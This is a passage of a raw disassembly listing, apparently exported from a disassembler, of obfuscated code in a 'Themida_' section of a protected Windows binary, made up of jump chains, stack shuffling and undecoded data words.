--------------------------------------------------------------------------- loc_563A39: ; CODE XREF: Themida_:0056D793j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_562814 ; --------------------------------------------------------------------------- loc_563A4E: ; CODE XREF: Themida_:005695B5j mov [esp], esi jmp loc_56A373 ; --------------------------------------------------------------------------- loc_563A56: ; CODE XREF: Themida_:00566C7Fj xor eax, edi jmp loc_55D8DC ; --------------------------------------------------------------------------- loc_563A5D: ; CODE XREF: Themida_:00569A30j mov ebp, 42BA6712h sub edx, ebp mov ebp, [esp] add esp, 4 jmp loc_563A82 ; --------------------------------------------------------------------------- loc_563A72: ; CODE XREF: Themida_:00558789j ; Themida_:0055BBC3j xor eax, ebp pop ebp push 24Bh mov [esp], ecx jmp loc_5683CB ; --------------------------------------------------------------------------- loc_563A82: ; CODE XREF: Themida_:00563A6Dj add edx, 5247FFEh pop esi xchg edx, [esp] mov esp, [esp] push edi mov edi, 64E61A23h sub esp, 4 mov [esp], ecx jmp loc_564C9E ; --------------------------------------------------------------------------- loc_563AA0: ; CODE XREF: Themida_:0055CE4Cj add bh, dl pop edx xor bh, 7Eh jmp loc_561AD0 ; --------------------------------------------------------------------------- loc_563AAB: ; CODE XREF: Themida_:loc_5601E7j push ecx mov cl, 8 xor cl, 0B4h sub bh, cl pop ecx sub bh, 93h sub al, bh mov ebx, [esp] add esp, 4 mov cx, [esp] add esp, 2 push 464Ch jmp loc_55B84F ; --------------------------------------------------------------------------- dd 0C012E780h, 0EF8008E7h, 47EF80F2h, 0E9B5F780h, 0FFFF35CEh dd 5C240C87h, 685B5453h, 7A7Dh, 0B8240489h, 9377D1Ah, 0FF810F48h dd 0DFFFFEDh, 6E657CC3h, 0FF6C24E9h, 0E9595FFFh, 0FFFF30FCh ; --------------------------------------------------------------------------- loc_563B10: ; CODE XREF: Themida_:00560B34j sub cl, 1 inc cl sub cl, 9Ch sub dh, 38h jmp loc_556B05 ; --------------------------------------------------------------------------- loc_563B20: ; CODE XREF: Themida_:00560E09j xor ecx, 6E37195h sub ebx, ecx jmp loc_565933 ; --------------------------------------------------------------------------- loc_563B2D: ; CODE XREF: Themida_:0055FD97j pop eax sub esi, 6A29621Fh add esi, 724F7669h add esi, edi sub esi, 724F7669h jmp loc_5697DE ; --------------------------------------------------------------------------- loc_563B47: ; CODE XREF: Themida_:00561549j mov [esp], ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], esi jmp loc_566637 ; --------------------------------------------------------------------------- loc_563B60: ; CODE XREF: Themida_:0055818Fj sub ebx, edi mov edi, [esp] jmp loc_569BB5 ; --------------------------------------------------------------------------- dw 42BAh dd 83732027h, 3C8904ECh, 0E81BF24h, 0E7812F58h, 56B5CF9h dd 0EF81DFF7h, 488D4EF2h, 0E781EFD1h, 3192361Bh, 0C1BDBA52h dd 0D729F049h, 58BA055Ah, 0F8017C6Bh, 6B58BA2Dh, 0D0295F7Ch dd 0C650452Dh, 0C8015A20h, 0FF8DABE9h, 4441B8FFh, 0F829F077h dd 31B4355Fh, 7D0538F5h, 1B1E3FCh, 6B3EE9C6h db 2 dup(0) word_563BCE dw 34FFh ; DATA XREF: Themida_:00556280o aYrhO db '$YRh\O',0 align 4 dd 81242489h, 42404h, 148B0000h, 4C48124h, 0E9000000h dd 0FFFFDAB8h ; --------------------------------------------------------------------------- loc_563BF0: ; CODE XREF: Themida_:0056AADFj or edi, ecx jmp loc_55E8B8 ; --------------------------------------------------------------------------- loc_563BF7: ; CODE XREF: Themida_:00569EBFj mov eax, 6AAE6745h sub eax, 6AAE6741h add edi, eax pop eax push edi jmp loc_56ACA5 ; --------------------------------------------------------------------------- loc_563C0A: ; CODE XREF: Themida_:005629C6j add edi, 49C004F0h jz loc_55FF98 sub edi, 943E80F7h mov ebp, edi pop edi sub edi, 6EA4134Eh add edi, ebp add edi, 6EA4134Eh pop ebp push ebx mov ebx, 2 sub edi, ebx pop ebx xchg edi, [esp] jmp loc_5646AC ; --------------------------------------------------------------------------- loc_563C3F: ; CODE XREF: Themida_:005589E6j jnz loc_5638EA dec edx jge loc_56CEA3 dec edx mov dl, 0EFh xor edx, 3AD906E0h jle loc_563583 jmp loc_56BA34 ; --------------------------------------------------------------------------- loc_563C60: ; CODE XREF: Themida_:00561062j shl ebp, 2 jmp loc_560ACE ; --------------------------------------------------------------------------- dd 2332F0BBh, 81DBF726h, 405CA2C3h, 27C38118h, 29793E08h dd 241C8BD8h, 4C481h, 0E9520000h, 0FFFFFEDEh ; --------------------------------------------------------------------------- loc_563C8C: ; CODE XREF: Themida_:005584E5j xchg eax, [esp] pop esp jmp loc_56C850 ; --------------------------------------------------------------------------- loc_563C95: ; CODE XREF: Themida_:0055D293j pop eax sub eax, esi pop esi jmp loc_55B9ED ; --------------------------------------------------------------------------- loc_563C9E: ; CODE XREF: Themida_:0056BEDEj mov edx, esp add edx, 4 add edx, 4 jmp loc_559B20 ; --------------------------------------------------------------------------- loc_563CAE: ; CODE XREF: Themida_:0056B836j add edx, 250404A7h sub ebp, edx pop edx jmp loc_564FC9 ; --------------------------------------------------------------------------- loc_563CBC: ; CODE XREF: Themida_:0056AEDEj add esp, 4 mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 push ebp mov ebp, 427E512Ah or ebp, 68B3280Fh xor ebp, 6AFF792Bh add esi, ebp pop ebp jmp loc_55A0A3 ; --------------------------------------------------------------------------- loc_563CED: ; CODE XREF: Themida_:0055B6F2j ; Themida_:00566CE9j mov eax, esp add eax, 4 sub eax, 4 jmp loc_55F135 ; --------------------------------------------------------------------------- loc_563CFC: ; CODE XREF: Themida_:00559B1Bj push esi mov esi, esp add esi, 4 push eax mov eax, 4 jmp loc_564E3B ; --------------------------------------------------------------------------- loc_563D10: ; CODE XREF: Themida_:0056629Cj xchg edi, ebx add ebx, 360329C1h shl ebx, 3 dec ebx not ebx xor ebx, 0DC981A14h add ebp, ebx jmp loc_56317D ; --------------------------------------------------------------------------- loc_563D2B: ; CODE XREF: Themida_:0056D03Fj sub ebx, 650E327Ch push eax jmp loc_55A018 ; --------------------------------------------------------------------------- loc_563D37: ; CODE XREF: Themida_:005669C5j mov esi, 5FCF1ECDh jmp loc_55DC91 ; --------------------------------------------------------------------------- db 5Bh, 1, 0D9h dd 240C875Bh, 2C1835Ch, 31240C33h, 0C33240Ch, 71C2E924h dd 0EAC00000h, 8E2C008h, 4EC81h, 1C890000h, 8045B324h dd 0F1E9B0C3h, 81000069h, 3904C0C3h, 243C8B0Bh, 6D26E9h dd 0BC68000h, 76E9E600h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D8B: ; CODE XREF: Themida_:00562DC4j push ebx jmp loc_55D383 ; --------------------------------------------------------------------------- loc_563D91: ; CODE XREF: Themida_:0055936Cj ; Themida_:00565E3Dj add edi, 2132073Fh sub edi, ebp jmp loc_55FC61 ; --------------------------------------------------------------------------- loc_563D9E: ; CODE XREF: Themida_:0056D0C9j push 7F36h mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 sub esp, 4 mov [esp], ecx push esp pop ecx push ebx mov ebx, 0E0A1AD1h jmp loc_5587A1 ; --------------------------------------------------------------------------- loc_563DCB: ; CODE XREF: Themida_:0056B81Ej sub esi, 2AAF25AFh add esi, edx add esi, 2AAF25AFh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 push edi jmp loc_565C65 ; --------------------------------------------------------------------------- db 1 dd 7685BD8h, 0E900001Dh, 0FFFFD403h, 8602C483h, 0D434E9F7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E02: ; CODE XREF: Themida_:005605FDj push edx mov edx, 14885508h shl edx, 4 add edx, 415A1498h jmp loc_55C642 ; --------------------------------------------------------------------------- loc_563E16: ; CODE XREF: Themida_:00564484j pop esp mov [esp], eax sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_562EF2 ; --------------------------------------------------------------------------- dd 7DBD5559h, 15AE96Eh, 242C8BEBh, 2904C483h, 4EC83C3h dd 0FFC353E9h db 0FFh ; --------------------------------------------------------------------------- loc_563E49: ; CODE XREF: Themida_:0055E9DFj mov [esp], edx push esp pop edx add edx, 4 add edx, 4 jmp loc_55DDCA ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 56515C24h, 0FFA686E9h db 0FFh byte_563E6D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556288o dd 4EC8324h, 0FF98ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_563E79: ; CODE XREF: Themida_:00559C24j mov ebx, esp jmp loc_560C75 ; --------------------------------------------------------------------------- loc_563E80: ; CODE XREF: Themida_:00567F07j not edi jmp loc_55A346 ; --------------------------------------------------------------------------- loc_563E87: ; CODE XREF: Themida_:0056B14Cj jo loc_56C9AB add eax, 25CDC29Bh mov edx, eax jmp loc_5660F6 ; --------------------------------------------------------------------------- loc_563E99: ; CODE XREF: Themida_:00563355j ; Themida_:005655E2j shl dword ptr [esp], cl pushf jmp loc_56B5E2 ; --------------------------------------------------------------------------- dw 0ED81h dd 5B9B4747h, 0A877BE56h, 0F5298FCFh, 6542D5Eh, 0E82901EEh dd 0EE065405h, 7A2D5D01h, 17D337Eh, 7E7A05F0h, 53517D33h dd 8B197968h, 9780E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563ED6: ; CODE XREF: Themida_:loc_558F14j not ebx and ebx, 7C363503h jns loc_56027F add ebx, 0F547FB40h jmp loc_5688E3 ; --------------------------------------------------------------------------- db 88h db 0CCh ; --------------------------------------------------------------------------- loc_563EF1: ; CODE XREF: Themida_:00559852j mov edi, [esp] push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add edi, 4 sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_55C30E ; --------------------------------------------------------------------------- dw 6968h dd 89000029h, 54B82404h, 48404B61h, 31532625h, 6D35680Bh dd 2C890000h, 3852E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F46: ; CODE XREF: Themida_:0056AD79j xor eax, [esp] jmp loc_5682E4 ; --------------------------------------------------------------------------- loc_563F4E: ; CODE XREF: Themida_:0055F635j add edx, 53210B3Ah shl edx, 7 add edx, 0FFFFFFFFh xor edx, 26B201D7h xor edx, 63042E0Fh push ecx jmp loc_55CB1C ; --------------------------------------------------------------------------- loc_563F6C: ; CODE XREF: Themida_:0055BDC1j push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55F401 ; --------------------------------------------------------------------------- loc_563F8F: ; CODE XREF: Themida_:0055A395j push edi mov edi, 0FF934EDCh add eax, edi jmp loc_55B8B9 ; --------------------------------------------------------------------------- loc_563F9C: ; CODE XREF: Themida_:0056457Bj mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_558210 ; --------------------------------------------------------------------------- loc_563FB5: ; CODE XREF: Themida_:00558D97j pop edx sub esp, 4 mov [esp], edx push edi push 2 pop edi push 2CB2h mov [esp], edi pop edx push dword ptr [esp] pop edi jmp loc_56A353 ; --------------------------------------------------------------------------- loc_563FD8: ; CODE XREF: Themida_:00561AEEj imul cx, ax push cx pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_563FE4: ; CODE XREF: Themida_:00567989j xor bh, dl pop edx jmp loc_55CE57 ; --------------------------------------------------------------------------- loc_563FEC: ; CODE XREF: Themida_:0056BFA9j dec ch jle loc_55A100 push ebx mov bh, 0DBh sub ch, 11h add ch, bh add ch, 11h pop ebx pop edx loc_564001: ; CODE XREF: Themida_:00563499j push 5252h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55C34C ; --------------------------------------------------------------------------- db 87h dd 335C2404h, 1C31241Ch, 241C3324h, 6624248Bh, 68C8BE0Fh dd 2FAEh, 54241489h, 5A2434FFh, 68E38953h, 2E57h, 0BE243489h dd 61DD5919h, 0FF5C67E9h db 0FFh ; --------------------------------------------------------------------------- loc_564051: ; CODE XREF: Themida_:00559582j inc bp push ax mov ax, 0B972h sub bp, 59A4h add bp, ax jmp loc_56CEA3 ; --------------------------------------------------------------------------- loc_564066: ; CODE XREF: Themida_:00563275j ; Themida_:00568AA5j push 21F9h mov [esp], edx push esp mov edx, [esp] add esp, 4 push 24B7h mov [esp], esi mov esi, 4 jmp loc_55809F ; --------------------------------------------------------------------------- loc_56408A: ; CODE XREF: Themida_:005692F9j add ebx, 3D546ED0h jmp loc_567156 ; --------------------------------------------------------------------------- loc_564095: ; CODE XREF: Themida_:005685C8j xchg esi, edi inc edi neg edi not edi shr edi, 7 jmp loc_563A01 ; --------------------------------------------------------------------------- loc_5640A4: ; CODE XREF: Themida_:00561D40j mov esp, [esp] mov [esp], ecx mov ch, 44h shr ch, 4 jmp loc_56921E ; --------------------------------------------------------------------------- loc_5640B4: ; CODE XREF: Themida_:00558F88j push esi not dword ptr [esp] pop esi sub esp, 4 mov [esp], esi jmp loc_556AD7 ; --------------------------------------------------------------------------- loc_5640C4: ; CODE XREF: Themida_:0056218Fj push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push esp mov ebp, [esp] sub esp, 4 jmp loc_55DAA3 ; --------------------------------------------------------------------------- dd 0E7C0DCB7h, 6804h, 3C280000h, 243C8A24h, 4A56E9h db 0 byte_5640FD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00556190o dd 4EC8324h, 0E9240489h, 74Ch ; --------------------------------------------------------------------------- loc_56410C: ; CODE XREF: Themida_:0055809Aj push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- dword_564120 dd 32243C30h, 3C30243Ch, 53E78624h, 0FFCDCDE9h, 4C381FFh ; DATA XREF: Themida_:0055603Co dd 83000000h, 93E904C3h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56413F: ; CODE XREF: Themida_:0055E6E0j jo loc_556CCB jmp loc_560030 ; --------------------------------------------------------------------------- dw 0C281h dd 85ECBFBBh, 4E99BA52h, 814204E5h, 0AE277CEAh, 2429E9E8h dd 0EC83FFFFh, 24348904h, 7071B850h, 0E9923F26h, 55D5h ; --------------------------------------------------------------------------- loc_564174: ; CODE XREF: Themida_:0056914Ej mov esi, ebx mov ebx, [esp] jmp loc_564AE4 ; --------------------------------------------------------------------------- loc_56417E: ; CODE XREF: Themida_:0055AF7Aj push ecx mov ecx, 44751FADh add ecx, 5CD21DDBh jmp loc_569115 ; --------------------------------------------------------------------------- loc_56418F: ; CODE XREF: Themida_:0055F444j add edx, 4 jmp loc_56BBF5 ; --------------------------------------------------------------------------- loc_56419A: ; CODE XREF: Themida_:00557AE4j mov [esp], ax mov ah, 51h jmp loc_566933 ; --------------------------------------------------------------------------- loc_5641A5: ; CODE XREF: Themida_:0055ED7Bj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_567EFB ; --------------------------------------------------------------------------- loc_5641B4: ; CODE XREF: Themida_:00556FF7j mov edx, [esp] push ebp jmp loc_5612EE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 1685685Eh, 0C890000h, 875FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5641CE: ; CODE XREF: Themida_:0056D37Aj add dl, 0F4h mov bl, dl mov edx, [esp] add esp, 4 push edx sub esp, 4 jmp loc_55AE4A ; --------------------------------------------------------------------------- loc_5641E5: ; CODE XREF: Themida_:0055BEABj pop esp jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5641EB: ; CODE XREF: Themida_:00557306j and dh, 0B3h add dh, 0B7h and dh, 84h jmp loc_55A7D1 ; --------------------------------------------------------------------------- loc_5641F9: ; CODE XREF: Themida_:005632BBj mov esi, 1AB213EDh sub esi, 1AB213E9h add ebx, esi pop esi push 2013h mov [esp], esi push ecx push eax mov eax, 13316137h add eax, 0ECCE9ECBh push eax sub dword ptr [esp], 22437267h pop ecx add ecx, 22437267h mov eax, [esp] jmp loc_55A4D8 ; --------------------------------------------------------------------------- loc_564232: ; CODE XREF: Themida_:00559524j xor ebx, edx pop edx xor edi, ebx pop ebx mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_56364D ; --------------------------------------------------------------------------- loc_564248: ; CODE XREF: Themida_:00568D66j and eax, ecx pop ecx jmp loc_5696D0 ; --------------------------------------------------------------------------- loc_564250: ; CODE XREF: Themida_:0056B21Cj mov ecx, ebp jmp loc_5615CB ; --------------------------------------------------------------------------- loc_564257: ; CODE XREF: Themida_:0056C7E5j js loc_55E612 jmp loc_56AEB8 ; --------------------------------------------------------------------------- aXsK db 'XИиK',0 align 4 loc_564268: ; CODE XREF: Themida_:00561314j push ebx push ecx jmp loc_55CE16 ; --------------------------------------------------------------------------- loc_56426F: ; CODE XREF: Themida_:0055CC41j jmp loc_56B18B ; --------------------------------------------------------------------------- loc_564274: ; CODE XREF: Themida_:005658C6j jmp loc_557999 ; --------------------------------------------------------------------------- byte_564279 db 83h, 0ECh, 4 ; DATA XREF: Themida_:005561F8o dd 68242C89h, 6901h, 83243C89h, 75E904ECh, 80FFFF2Ch, 0CB884BE9h dd 0E9DD0059h, 0FFFF5F4Fh ; --------------------------------------------------------------------------- loc_56429C: ; CODE XREF: Themida_:0055AC59j pop ebx jmp loc_558F6E ; --------------------------------------------------------------------------- dw 68BBh dd 0E97E1F55h, 451Eh ; --------------------------------------------------------------------------- loc_5642AC: ; CODE XREF: Themida_:00566E77j mov ebx, esi mov esi, [esp] add esp, 4 add esi, ebx push dword ptr [esp] jmp loc_564FF6 ; --------------------------------------------------------------------------- loc_5642BE: ; CODE XREF: Themida_:00567402j add esp, 4 shr eax, 1 add eax, 7E0E1CFBh jb loc_56187A jmp loc_558684 ; --------------------------------------------------------------------------- loc_5642D3: ; CODE XREF: Themida_:0055A590j push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_55EC3D ; --------------------------------------------------------------------------- loc_5642E0: ; CODE XREF: Themida_:0055AFF0j add edx, 39BE36AFh pop edi jmp loc_56AAFE ; --------------------------------------------------------------------------- dword_5642EC dd 4EC83ADh, 56243C89h, 6E42C9BEh, 5EF78944h, 13ED68h ; DATA XREF: Themida_:00556098o dd 242C8900h, 100BE068h, 1DE95D78h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56430F: ; CODE XREF: Themida_:0055D9EEj mov edi, esp add edi, 4 jmp loc_55FDD5 ; --------------------------------------------------------------------------- loc_56431C: ; CODE XREF: Themida_:loc_568CA6j add esi, 0EFD3C0E3h push ecx mov ecx, 7C185FDDh sub eax, ecx pop ecx add eax, esi add eax, 7C185FDDh jmp loc_568431 ; --------------------------------------------------------------------------- loc_564337: ; CODE XREF: Themida_:0056CC73j mov [esp], ecx push eax mov al, bl jmp loc_567751 ; --------------------------------------------------------------------------- loc_564342: ; CODE XREF: Themida_:0055FFA1j ; Themida_:0056A798j push ebx mov bl, al push edx mov dl, bl jmp loc_5655E7 ; --------------------------------------------------------------------------- loc_56434D: ; CODE XREF: Themida_:00566DD0j pop eax add ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 0FFE95D54h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564363: ; CODE XREF: Themida_:0055D441j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5678BA ; --------------------------------------------------------------------------- loc_564371: ; CODE XREF: Themida_:0055CAD8j push 438Ah mov [esp], eax mov eax, esp add eax, 4 push ebx mov ebx, esp push eax jmp loc_5657A8 ; --------------------------------------------------------------------------- loc_564389: ; CODE XREF: Themida_:00558B39j push eax mov ah, 0Ch push ecx mov cl, 0D7h shl cl, 7 sub cl, 91h sub cl, 6Fh add cl, 0A8h jmp loc_56151B ; --------------------------------------------------------------------------- dd 0E953665Ah, 0FFFF7885h ; --------------------------------------------------------------------------- loc_5643A8: ; CODE XREF: Themida_:00566D6Ej sub esp, 2 mov [esp], dx mov dl, 87h jmp loc_566F5C ; --------------------------------------------------------------------------- loc_5643B6: ; CODE XREF: Themida_:00561FE7j ; Themida_:0056C98Bj push 36Ch jmp loc_562673 ; --------------------------------------------------------------------------- loc_5643C0: ; CODE XREF: Themida_:005625BBj ; Themida_:0056D412j xchg eax, [esp] pop esp mov [esp], edx jmp loc_560BC7 ; --------------------------------------------------------------------------- loc_5643CC: ; CODE XREF: Themida_:0055796Fj add bl, 1Eh mov al, bl pop ebx push small 7313h jmp loc_557080 ; --------------------------------------------------------------------------- db 81h dd 0DF5ECEF3h, 0FF840F47h, 0E9FFFFEEh, 9186h ; --------------------------------------------------------------------------- loc_5643EC: ; CODE XREF: Themida_:loc_55E612j neg esi jp loc_55972A push ebx mov ebx, 5E734638h jmp loc_568EA2 ; --------------------------------------------------------------------------- loc_5643FF: ; CODE XREF: Themida_:00566FF7j add eax, 76952768h jnb loc_55F545 push edi push ebx jmp loc_5678C0 ; --------------------------------------------------------------------------- db 80h, 0EFh, 25h dd 574AC1C6h, 5B5C87BFh, 35CF817Ah, 81264649h, 8815C0CFh dd 0B8D0F46h, 0E9FFFF76h, 4A25h, 4E2DF829h db 6Dh, 90h, 10h ; --------------------------------------------------------------------------- loc_56443B: ; CODE XREF: Themida_:0055D9E0j pop esp push ebx mov ebx, 45421048h xor eax, ebx mov ebx, [esp] add esp, 4 mov ebp, eax mov eax, [esp] add esp, 4 sub [esp+8], ebp mov ebp, [esp] push 2F67h mov [esp], eax mov eax, esp add eax, 4 jmp loc_55A257 ; --------------------------------------------------------------------------- loc_564470: ; CODE XREF: Themida_:00566941j xor eax, [esp] xor [esp], eax jmp loc_568B74 ; --------------------------------------------------------------------------- loc_56447B: ; CODE XREF: Themida_:00567FB3j sub ebx, 4 xchg ebx, [esp] jmp loc_563E16 ; --------------------------------------------------------------------------- loc_564489: ; CODE XREF: Themida_:0056070Fj mov eax, edi pop edi xor ecx, eax jmp loc_559892 ; --------------------------------------------------------------------------- loc_564493: ; CODE XREF: Themida_:00556959j push edi mov edi, 42231363h not edi push ebp mov ebp, 69075842h xor edi, ebp jmp loc_55E1CE ; --------------------------------------------------------------------------- loc_5644A8: ; CODE XREF: Themida_:00565EFEj add esi, edx add esi, 4D7221B0h jmp loc_558387 ; --------------------------------------------------------------------------- byte_5644B5 db 0ADh, 0E9h, 0F7h ; DATA XREF: Themida_:00556108o db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644BB: ; CODE XREF: Themida_:0055F5B4j mov dh, ch pop ecx xor dh, ch mov ecx, [esp] add esp, 4 shr dh, 4 jmp loc_560A8C ; --------------------------------------------------------------------------- dw 0E6C1h dd 6EEC102h, 85EE814Eh, 31AF85B4h, 851FE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5644E2: ; CODE XREF: Themida_:00568F56j xor ecx, 7FBEE637h xor ebp, ecx jmp loc_567097 ; --------------------------------------------------------------------------- loc_5644EF: ; CODE XREF: Themida_:0056251Dj pop esi sub ebx, 0FB1F6736h xor edx, ebx pop ebx add ecx, edx pop edx push eax mov eax, 33365980h add eax, 3E601223h jno loc_5672B8 add eax, 0BD0ED6C2h dec eax jnz loc_55E602 mov dh, 0EAh push esi push 4 mov edx, [esp] push eax mov eax, esp jmp loc_558EF4 ; --------------------------------------------------------------------------- loc_56452C: ; CODE XREF: Themida_:005582B0j pop esp sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 209h mov [esp], edx pop eax jmp loc_565B3F ; --------------------------------------------------------------------------- loc_564545: ; CODE XREF: Themida_:0056AC59j mov [esp], dx push ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_564551: ; CODE XREF: Themida_:0055DF63j push eax jmp loc_568640 ; --------------------------------------------------------------------------- loc_564557: ; CODE XREF: Themida_:00556EB1j mov [esp], ebx push esp pop ebx push edx jmp loc_566466 ; --------------------------------------------------------------------------- loc_564562: ; CODE XREF: Themida_:00557317j sub edi, 71B94A23h shr edi, 4 xor edi, 52E8A20h jmp loc_557FF9 ; --------------------------------------------------------------------------- loc_564576: ; CODE XREF: Themida_:0055BC60j push 556Bh jmp loc_563F9C ; --------------------------------------------------------------------------- loc_564580: ; CODE XREF: Themida_:0055C1DDj mov ebx, [esp] add esp, 4 add edx, 2C4121A6h push ecx jmp loc_55DC6D ; --------------------------------------------------------------------------- dw 0F501h dd 3291BF57h, 0FD294929h, 0FF5736E9h, 240C87FFh, 3A17E9h db 0 ; --------------------------------------------------------------------------- loc_5645A9: ; CODE XREF: Themida_:00557B32j add edx, 1C6468A4h push ebx mov ebx, 31B57FA7h add edx, ebx pop ebx mov eax, [esp] jmp loc_55ABD6 ; --------------------------------------------------------------------------- dd 0E9242C89h, 0FFFFCBC8h ; --------------------------------------------------------------------------- loc_5645C8: ; CODE XREF: Themida_:005664A0j push ebx jmp loc_561EC8 ; --------------------------------------------------------------------------- loc_5645CE: ; CODE XREF: Themida_:0056D07Aj shr eax, 5 add eax, 3A0F205Fh sub eax, 715A005Ah jle loc_558F19 add eax, 0D726113h jmp loc_55BEF6 ; --------------------------------------------------------------------------- db 59h ; --------------------------------------------------------------------------- loc_5645EC: ; CODE XREF: Themida_:005661CFj mov edi, 4 add esi, edi jmp loc_556503 ; --------------------------------------------------------------------------- dd 7553ED81h, 0C5815FE8h, 18F85A4Fh, 0E95DE831h, 37A4h dword_56460C dd 8124048Bh, 4ECh, 24348900h, 558E68h, 4EC8300h, 0FF43F1E9h ; DATA XREF: Themida_:005561ACo db 0FFh ; --------------------------------------------------------------------------- loc_564625: ; CODE XREF: Themida_:00559910j ; Themida_:005652DFj pop edx sub edx, 5DEB73AFh push dword ptr [esp] pop edi add esp, 4 pop esi xor [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_562023 ; --------------------------------------------------------------------------- loc_564643: ; CODE XREF: Themida_:005697AAj add ebp, 6CB46DAAh inc ebp jo loc_55993B push edi jmp loc_55F5C7 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 1C870000h, 24248B24h, 2168E9h db 0 ; --------------------------------------------------------------------------- loc_56466D: ; CODE XREF: Themida_:00567F77j push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop eax push edi push ebx mov ebx, 5B0902A9h jmp loc_55CBE4 ; --------------------------------------------------------------------------- loc_564685: ; CODE XREF: Themida_:005651BAj mov [esp], ebp jmp loc_559D69 ; --------------------------------------------------------------------------- db 81h, 0E9h, 3Bh dd 811DCD36h, 0B543BBE9h, 3D05E90Ch, 0C381FFFFh, 4, 0E902C383h dd 0C47h ; --------------------------------------------------------------------------- loc_5646AC: ; CODE XREF: Themida_:00563C3Aj mov esp, [esp] mov [esp], ax jmp loc_5562E7 ; --------------------------------------------------------------------------- dd 2D6BB850h, 0D42D154Fh, 0E9342B0Ch, 0FFFF6475h ; --------------------------------------------------------------------------- loc_5646C8: ; CODE XREF: Themida_:00566098j pop ebx jmp loc_56C8E0 ; --------------------------------------------------------------------------- dw 0EFC1h dd 81D7F706h, 63DA1BF7h, 5FFE01FFh, 5C243487h, 2474FF57h dd 48F5F04h, 24248B24h, 0FF1BF6E9h, 52FA29FFh, 0BA243481h dd 5F478E72h, 72BAF781h, 16E9478Eh db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_564707: ; CODE XREF: Themida_:0055BB90j jmp loc_55CC63 ; --------------------------------------------------------------------------- loc_56470C: ; CODE XREF: Themida_:00569219j test cx, ax pushf jmp loc_56D1E2 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0A0h dd 0F7121173h, 0F0C681D6h, 46761477h, 0FF2492E9h db 0FFh ; --------------------------------------------------------------------------- loc_564729: ; CODE XREF: Themida_:005687C5j add eax, edi jmp loc_55D6AB ; --------------------------------------------------------------------------- dd 0FF1BB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564735: ; CODE XREF: Themida_:0055DB6Fj add eax, 4 sub eax, 2 xchg eax, [esp] pop esp mov [esp], cx push ebx mov bl, 79h push ecx mov ch, 0FDh jmp loc_5666D8 ; --------------------------------------------------------------------------- loc_564752: ; CODE XREF: Themida_:005691C4j add esp, 4 and eax, esi jmp loc_56BA41 ; --------------------------------------------------------------------------- loc_56475F: ; CODE XREF: Themida_:0056072Cj add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push edi jmp loc_5593A2 ; --------------------------------------------------------------------------- loc_564777: ; CODE XREF: Themida_:00562FEEj and ch, al mov eax, [esp] add esp, 4 jmp loc_55BAAD ; --------------------------------------------------------------------------- loc_564784: ; CODE XREF: Themida_:00556839j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp movzx cx, al sub esp, 4 mov [esp], esi push esp pop esi sub esp, 4 mov [esp], edi push ebx jmp loc_56C06A ; --------------------------------------------------------------------------- loc_5647A8: ; CODE XREF: Themida_:00557848j mov [esp], edi push 1F008471h mov edi, [esp] add esp, 4 sub ebx, edi pop edi and eax, ebx pop ebx jmp loc_561BDF ; --------------------------------------------------------------------------- loc_5647C1: ; CODE XREF: Themida_:005593D0j push ebx mov bl, 54h or bl, 0EFh neg bl jmp loc_56BCB3 ; --------------------------------------------------------------------------- loc_5647CE: ; CODE XREF: Themida_:0056A672j pop ebp add edx, 2 xchg edx, [esp] mov esp, [esp] mov ax, [esp] push 13D0h jmp loc_5632B5 ; --------------------------------------------------------------------------- loc_5647E6: ; CODE XREF: Themida_:0056CAABj sub esi, eax pop eax add ebp, 8A60427h add ebp, esi sub ebp, 8A60427h 